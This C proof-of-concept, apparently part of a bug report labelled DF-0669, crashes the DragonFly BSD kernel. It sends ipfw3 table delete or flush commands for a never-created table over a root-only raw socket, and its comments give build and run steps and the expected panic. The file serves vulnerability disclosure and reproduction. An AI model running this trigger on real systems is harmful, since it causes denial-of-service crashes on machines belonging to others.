DF-0669 / df0669_ipfw3_null.c
/* * DF-0669 PoC — ipfw3 rn_flush(NULL) panic on never-created table. * * Confirmed REPRODUCED on DragonFly 6.5-DEVELOPMENT #0 (master DEV, * GENERIC with INVARIANTS ON). Fatal trap 12 at fault VA=0x28 * (head->rnh_walktree offset within struct radix_node_head, where * head==NULL). See VERDICT.md and panic.txt. * * Build: cc -O -pipe -o df0669_ipfw3_null df0669_ipfw3_null.c * Run (as root, after `kldload ipfw3; kldload ipfw3_basic`): * ./df0669_ipfw3_null 74 # IP_FW_TABLE_DELETE * ./df0669_ipfw3_null 78 # IP_FW_TABLE_FLUSH (also vulnerable) * * Threat model: PR:H (root-only). Reaching IP_FW_X requires a raw * socket (raw_ip.c rip_ctloutput); raw sockets need root. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define IP_FW_X 49 /* sys/netinet/in.h */ #define IP_FW_TABLE_CREATE 73 #define IP_FW_TABLE_DELETE 74 #define IP_FW_TABLE_FLUSH 78 struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; }; struct ipfw_ioc_table { int id; int type; int count; char name[32]; }; int main(int argc, char **argv) { int optype = (argc > 1) ? atoi(argv[1]) : IP_FW_TABLE_DELETE; int s, error; unsigned char buf[4 + sizeof(struct ipfw_ioc_table)]; struct ip_fw_x_header *hdr = (struct ip_fw_x_header *)buf; struct ipfw_ioc_table *tbl = (struct ipfw_ioc_table *)(buf + 4); memset(buf, 0, sizeof(buf)); hdr->opcode = (uint16_t)optype; tbl->id = 0; /* in-bounds (0..31) but never created */ /* IP_FW_X is dispatched only from raw_ip.c rip_ctloutput, so we * need SOCK_RAW. Creating a raw socket requires root. */ s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(SOCK_RAW) (DF-0669 trigger requires root)"); return 2; } printf("[+] DF-0669: setsockopt(IPPROTO_IP, IP_FW_X, opcode=%d) on " "never-created table id=0\n", optype); printf("[+] expected: Fatal trap 12 page fault @ VA=0x28 " "(rn_flush derefs head->rnh_walktree, head=NULL)\n"); fflush(stdout); error = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, sizeof(buf)); /* If we get here, the bug did NOT fire (e.g. ipfw3 not loaded). */ printf("[!] setsockopt returned %d errno=%d (%s)\n", error, errno, strerror(errno)); close(s); return 0; } |